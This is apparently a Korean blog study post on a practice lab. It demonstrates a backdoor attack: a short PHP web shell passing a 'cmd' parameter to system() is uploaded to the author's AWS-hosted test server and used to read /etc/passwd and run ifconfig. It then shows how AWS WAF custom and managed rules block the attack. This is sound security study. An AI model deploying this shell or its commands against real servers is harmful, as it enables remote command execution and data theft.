Backdoor 공격이란
공격자가 자신이 입력한 명령을 수행할 수 있는 악성 코드를 웹서버에 업로드 후 이를 통해 여러 가지 정보 수집이나 악의적인 활동을 수행하는 공격
Backdoor 공격 실습
이미지 파일을 업로드할 수 있는 페이지가 있고, JPEG나 PNG가 아닌 파일을 업로드했을 때 위와 같은 문구가 뜸
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "<pre>";
die;
}
?>
간단한 백도어 스크립트를 작성한다.
이 스크립트를 서버에 업로드하면 공격자가 URL에 매개변수(cmd)를 입력하여 원하는 시스템 명령어를 전달하고 실행할 수 있게 된다.
$_REQUEST['cmd']로 전달된 값이 존재하면 해당 값(매개변수)을 $cmd 변수에 저장 -> system($cmd);를 통해 $cmd에 저장된 명령어를 시스템에서 실행
=> 공격자는 backdoor.php 파일을 통해 서버에 접근하여 원격으로 임의의 명령어를 실행할 수 있게 된다.
칼리에서 실습을 진행했고, vi에디터에서 코드를 작성한다.
작성한 backdoor.php 파일을 서버에 업로드한다.
http://{{ALB DNS Name}}/hackable/uploads/backdoor.php?cmd=cat+/etc/passwd
파일을 서버에 업로드하면 해당 URL을 사용하여 서버에 업로드된 백도어 파일을 호출한다.
aws로 구축한 서버를 '로드밸런서 DNS 이름'에 입력하고, backdoor.php 백도어 파일이 위치한 경로를 함께 입력했다.
매개변수로는 ?cmd=cat+/etc/passwd 를 사용하여 사용자 계정 정보가 저장된 /etc/passwd 파일을 출력하도록 했다. 해당 매개변수는 PHP 코드에서 $_REQUEST['cmd']로 cmd 값이 전달되어 시스템 명령어가 실행된다.
ALB DNS Name 에 추가하여 브라우저를 통해 접속해 보면 /etc/passwd 파일에 대한 정보가 출력되어 공격에 성공했다.
동일하게 ifconfig 명령어도 실행해보면 EC2 인스턴스의 IP 주소가 출력되는 것을 확인할 수 있다.
Backdoor 공격 방어 - 사용자 정의 규칙
- Rule Type : Rule Builder
- WAF의 Rule builder를 사용하여 웹 애플리케이션에 대한 특정 요청을 차단하거나 제한하는 규칙을 생성
- 규칙 이름 : Backdor
- Type : Regular Rule
- 특정 조건을 만족하는 요청을 필터링할 때 사용
- 특정 URL 패턴이나 요청 매개변수에 대한 접근을 차단
Type을 Regular Rule로 설정했기 때문에 Statement를 설정해야 한다.
먼저 "matches all the statements (AND)"로 설정하여 모든 조건을 만족하는 요청에 규칙이 적용한다.
첫 번째 Statement는 요청의 URI 경로에 특정 문자열이 포함되는지 검사하는 조건이다.
Starts with string으로 설정하여 특정 문자열로 시작하는 URI 경로에 대해 규칙을 적용하고, 문자열은 /hackable/uploads로로 설정하였다.
=> /hackable/uploads 경로로 시작하는 모든 요청을 필터링
=> /hackable/uploads로 시작하는 경로에 접근하는 요청을 감지하거나 차단할 수 있으며, 백도어와 같은 악의적인 파일에 대한 접근을 제한
AWS WAF 규칙에서 특정 파일 형식을 차단하지 않도록 예외를 설정하는 조건
.jpg, .gif, .php, .doc, .pdf 파일 확장자로 끝나는 문자열을 차단함
대소문자 구분은 없음
규칙에 매칭되는 요청을 처리하는 액션 설정
Backdoor 규칙이 정상적으로 생성되었는지 확인
공격 방어 확인
다시 웹서버에 backdoor.php 파일을 업로드
사용자의 요청이 사용자 정의 차단 페이지와 함께 차단됨
Backdoor 공격 방어 - 관리형 규칙
Backdoor 공격은 지난 주 Command Injection 방어 단계에서 추가한 AWS-AWSManagedRulesUnixRuleSet 관리형 규칙에 의해 차단된다.
AWS-AWSManagedRulesUnixRuleSet 관리형 규칙은 일반적인 웹 애플리케이션 공격을 탐지하고 방어하도록 설계되어 있다. 이 규칙 세트는 HTTP 요청 내에 있는 특정 패턴과 명령어를 검사하고, 의심스러운 명령어가 포함된 요청을 차단한다. ?cmd=cat+/etc/passwd와 같은 요청이 Command Injection으로 인식되면, 규칙이 이를 차단하여 서버가 해당 명령을 실행하지 못하게 한다.
사용자의 요청이 AWS 관리형 규칙에 의해 차단되었기 때문에 403 Forbidden 페이지가 출력되는 것을 확인
'Study > 클라우드' 카테고리의 다른 글
[AWS WAF] CUSTOM RULE (0) | 2024.11.09 |
---|---|
[AWS WAF] Brute Force (0) | 2024.11.05 |
[AWS WAF] Command Injection (0) | 2024.10.29 |
[AWS WAF] SQL Injection (0) | 2024.10.29 |
[AWS WAF] Stored XSS (0) | 2024.09.29 |